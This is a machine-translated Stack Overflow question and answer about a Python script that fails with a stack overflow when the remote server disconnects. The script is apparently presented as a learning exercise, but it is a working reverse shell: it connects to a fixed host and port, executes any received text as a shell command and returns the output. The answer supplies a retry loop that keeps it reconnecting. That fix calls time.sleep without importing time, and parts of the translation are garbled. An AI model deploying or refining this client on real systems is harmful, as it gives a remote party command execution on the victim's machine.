无法从堆栈溢出中恢复

Can't recover from a stack overflow

这是我在学习 Python 时制作的一个小脚本,但出于某种原因,它告诉我它无法从堆栈溢出中恢复。当另一台服务器断开连接时会发生这种情况。

脚本:

#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

def Work():
    while True:
        data = s.recv(1024)
        print("Data : " + data.decode('utf-8'))
        if data[:2].decode("utf-8") == 'cd':
            os.chdir(data[3:].decode('utf-8'))
        if len(data) >0:
            cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes , "utf-8")
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))
        else:
            s.shutdown(socket.SHUT_RDWR)
            s.close()
            thread1 = threading.Thread(target = connect)
            thread1.start()
            break

connect()

这段代码是错误的:

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

如果由于某种原因连接失败(拒绝,甚至 try/except 块中的语法错误,因为您没有过滤异常类型),那么您将打印错误消息并通过调用重试递归 你的函数。

由于套接字错误很可能再次发生,因为您在不更改任何内容的情况下立即重试相同的操作(例如启动另一个程序!),您很快就会出现堆栈溢出。

修复,第一步:让您的连接崩溃并显示正确的错误消息

def connect():
    s.connect((host,port))
    Work()

修正,第二步:如果你认为以后可以建立连接,可以捕获异常,稍等片刻再试,例如这样:

def connect():
    while True:
        try:
            s.connect((host,port))
            break  # connection OK, proceeed to Work
        except ConnectionRefusedError as e:
            print("{}, retry in 10s ...".format(str(e)))
            time.sleep(10)
    Work()

在您的情况下,就在套接字关闭之后,您创建了另一个调用 connect 的线程,但没有这样做,递归地,这解释了您在断开另一端连接时遇到的问题。